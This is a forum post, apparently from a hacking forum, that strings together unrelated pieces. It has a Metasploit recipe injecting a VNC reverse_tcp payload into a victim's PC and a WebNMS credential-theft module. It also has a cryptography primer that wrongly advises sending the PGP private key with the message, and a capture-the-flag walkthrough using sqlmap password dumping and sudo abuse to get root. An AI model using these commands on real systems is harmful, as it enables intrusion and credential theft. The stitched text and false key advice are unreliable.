Login

**NINZA** · 04-24-2020, 01:37 PM

0			0

This article contains the post-exploitation method. To run following commands successfully first take a session of meterpreter and then follow the commands

In this digital era, more and more people are becoming aware of security and all the companies take the responsibility to increase their security. Hence, technology is being upgraded every single second. Therefore, it is becoming difficult to hack modern technology. But where there is will; there is a way.

We all know that every problem comes with a solution, and so is our following problem:

While taking control over our victim’s PC, often due to security measures some of our commands do not work such as run vnc and so, we might come across such error:

In such a case, there is a special payload, especially for vnc. Whenever you face such problem use following exploit:

use windows/manage/payload_inject
msf exploit (payload_inject)>set payload windows/vncinject/reverse_tcp
msf exploit (payload_inject)>set lhost 192.168.1.109
msf exploit (payload_inject)>set session 1
msf exploit (payload_inject)>set handler true
msf exploit (payload_inject)>exploit
1
2
3
4
5
6
use windows/manage/payload_inject
msf exploit (payload_inject)>set payload windows/vncinject/reverse_tcp
msf exploit (payload_inject)>set lhost 192.168.1.109
msf exploit (payload_inject)>set session 1
msf exploit (payload_inject)>set handler true
msf exploit (payload_inject)>exploit

After executing you can see the following result:

[Image: 3.png?w=687&ssl=1]

This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract all user credentials. The first vulnerability is a unauthenticated file download in the FetchFile servlet, which is used to download the file containing the user credentials. The second vulnerability is that the the passwords in the file are obfuscated with a very weak algorithm which can be easily reversed. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux.

Exploit Targets

WebNMS Framework Server 5.2

Requirement

Attacker: kali Linux

Victim PC: WebNMS Framework Server 5.2

Open Kali terminal type msfconsole

Now type use auxiliary/admin/http/webnms_cred_disclosure

msf exploit (webnms_cred_disclosure)>set rhost 192.168.0.103 (IP of Remote Host)

msf exploit (webnms_cred_disclosure)>set rport 9090

msf exploit (webnms_cred_disclosure)>exploit

[Image: 1.png?w=687&ssl=1]

Cryptography is a conversion of plain readable text into an unreadable form. In cryptography first, the data is converted into ciphertext (that is encryption) and then the ciphertext is converted back into readable form (that is decryption). Cryptography basically works on the concept of encryption and decryption. Encryption and decryption should not be confused with encoding and decoding, in which data is converted from one form to another but is not deliberately altered so as to conceal its content. Encryption is achieved through the algorithms. These algorithms are works with logic, mathematics calculations and its complexities.

Encryption: Encrypted data is referred to as ciphertext. Cyphertext is a conversion of readable text into an unreadable form. It is the most effective way to achieve data security. To read an encrypted file, you must have access to a secret key or password that enables you to decrypt it.

Decryption: Decryption is the process of converting encrypted data back into its original form, so it can be understood. To decrypt the data one needs a secret key or password so it can be decrypted.

Encryption can be done in three ways:

Symmetric
Asymmetric
Hash

Symmetric: Symmetric encryption’s job is to take readable data, scramble it to make it unreadable, then unscramble it again when it’s needed. It’s generally fast, and there are lots of good encryption methods to choose from. The most important thing to remember about symmetric encryption is that both sides—the encrypter, and the decrypter—need access to the same key.

Asymmetric: Asymmetric encryption also takes readable data, scrambles it, and unscrambles it again at the other end, but there’s a twist: a different key is used for each end. Encrypters use a public key to scramble the data, and decrypters use the matching private (secret) key on the other end to unscramble it again.

Hash: Hashing is what is actually happening when you hear about passwords being “encrypted”. Strictly speaking, hashing is not a form of encryption, though it does use cryptography. Hashing takes data and creates a hash out of it, a string of data with three important properties : the same data will always produce the same hash, it’s impossible to reverse it back to the original data, given knowledge of only the hash, it’s infeasible to create another string of data that will create the same hash (called a “collision” in crypto parlance). hash is to authenticate otherwise clearly-transmitted data using a shared secret (effectively, a key.) The hash is generated from the data and this secret so that only the data and the hash are visible; the shared secret is not transmitted and it thus becomes infeasible to modify either the data or the hash without such modification being detected.

Now, there are very simple methods to achieve cryptography in our day to day life so that our data sharing can be done securely.

For Symmetric encryption we can simply visit the website:

[To see content please register here]

, shown below :

On this website in the first box writing your message and in the second box give your password and then click on the encrypt button on the right side.

The website will now reload itself and will provide you with the encrypted text. Send this encrypted text to the desired person and tell them the key (which, in this case, is time).

The said person, after receiving your encrypted message, can come on this website to decrypt it. He/She will simply have to copy the encrypted text and paste it on the first box and enter the key in the next box and click on the decrypt button on the right side as shown below :

After clicking on decrypt the site will reload itself and will provide you with plain text.

[Image: 5.png?w=687&ssl=1]

Hence, symmetric encryption.

For Asymmetric encryption, we can simply go to

[To see content please register here]

/, the following website will open

Click on generate PGP keys, after opening the website. A public and private key will be generated.

[Image: 7.png?w=687&ssl=1]

Now, copy the public key and click on PGP encrypt message option, it will redirect to the following page

[Image: 8.png?w=687&ssl=1]

Paste the public key in the first box and write your message in the second box. By clicking on Encrypt Message, you will get your message encrypted.

Now, copy this encrypted message to the desired person along with the private key which you generated in the first step. The same person can also visit this site and click on PGP decrypt message option to decrypt the message. After clicking on the said option, the following page will open:

He/She can copy the private key and encrypted message and paste it on the first and second box respectively.

[Image: 11.png?w=687&ssl=1]

At last click on Decrypt message and your message will be decrypted.

[Image: 12.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as De-ICE: S1.120 and it is another boot2root challenge provided for practice and its security level is for the beginners. So let’s try to break through it. But before please note that you can download it from here

[To see content please register here]

Penetrating Methodologies

Network Scanning (Nmap, netdiscover)
SQLMAP Scanning
Extract databases and user credentials
SSH access to the target with a specific user
Exploiting target with SUID bit and SUDO binaries
Get Root access and capture the flag.

Let’s Start!!!

Start off with finding the target using:

netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.120 Now scan the target with nmap :

nmap -A 192.168.1.120
1
nmap -A 192.168.1.120

With the nmap scan, you can see the ports 80, 443, 3306,21, 22 are open. Let’s target the port 80 first.

[Image: 2.png?w=687&ssl=1]

Now we will browse the website with

[To see content please register here]

and a page will open as shown below in the image.

[Image: 3.png?w=687&ssl=1]

Click on the Add Product option as shown in the above page

[To see content please register here]

which will redirect to

[To see content please register here]

the input in the fields as shown below and click on Submit.

[Image: 4.png?w=687&ssl=1]

Upon submission, the following page will display.

[Image: 5.png?w=687&ssl=1]

Now let’s try to look for SQL injection by trying with

[To see content please register here]

’ and we will get an error, hence this URL is prone to SQL injection

Lets’ enumerate the databases with SQLMAP command to get more details

sqlmap -u

[To see content please register here]

--dbs --batch
1
sqlmap -u

[To see content please register here]

--dbs --batch

[Image: 6.png?w=687&ssl=1]

Upon successful completion of the SQLMAP scan, we came to know that the following databases listed are available on the website.

[Image: 7.png?w=687&ssl=1]

Extract the user information from the MySQL database, using SQLMAP following command:

sqlmap -u

[To see content please register here]

-D mysql --users --passwords --batch
1
sqlmap -u

[To see content please register here]

-D mysql --users --passwords --batch

In addition, SQLMAP will also automatically perform the password cracking of the users’ passwords

[Image: 9.png?w=687&ssl=1]

After having found valid credentials the next thing to perform is to test them over SSH to see if we have access to the target server. I tried to login with most of the users to see if there’s any root user or has something interesting for us to investigate further and it seems that all users can login to the system.

After trying with many usernames, I did SSH using the username as ccoffee and ran the following command to enumerate all binaries having SUID permission.

ssh [email protected]
find / -perm –u=s –type f 2>/dev/null
1
2
ssh [email protected]
find / -perm –u=s –type f 2>/dev/null

[Image: 10.png?w=687&ssl=1]

As it can be seen from the screenshot that of all the users listed, the user ccoffee has SUID bit enabled for getlogs.sh command located at the path /home/ccoffee/scripts, which means we can execute any command within getlogs.sh command.

[Image: 11.png?w=687&ssl=1]

At this moment, let’s also check the contents of the sudo file

sudo –l
1
sudo –l

On performing sudo –l, we observed that there is no password (NOPASSWD) set for this user while executing the command /home/ccoffee/scripts/getlogs.sh (i.e he can also run as sudo, the same script for which SUID bit is also set)

Now let’s navigate to the path cd /home/coffee/scripts

cd /home/ccoffee/scripts/
1
cd /home/ccoffee/scripts/

Upon listing, we can confirm that getlogs.sh has SUID bit set.

ls -al
1
ls -al

Move the getlogs.sh to getlogs.sh.bak, and then create a new getlogs.sh file with the following code to spawn a shell.

mv getlogs.sh getlogs.sh.bak
echo "/bin/bash" > getlogs.sh
chmod 777 getlogs.sh
1
2
3
mv getlogs.sh getlogs.sh.bak
echo "/bin/bash" > getlogs.sh
chmod 777 getlogs.sh

Run the new getlogs.sh script with sudo as follows :

sudo /home/ccoffee/scripts/getlogs.sh
1
sudo /home/ccoffee/scripts/getlogs.sh

Once the script execution is finished, you will reach the root. And to confirm this type:

id
1
id

Hurrah! We have got the root access.

[Image: 12.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis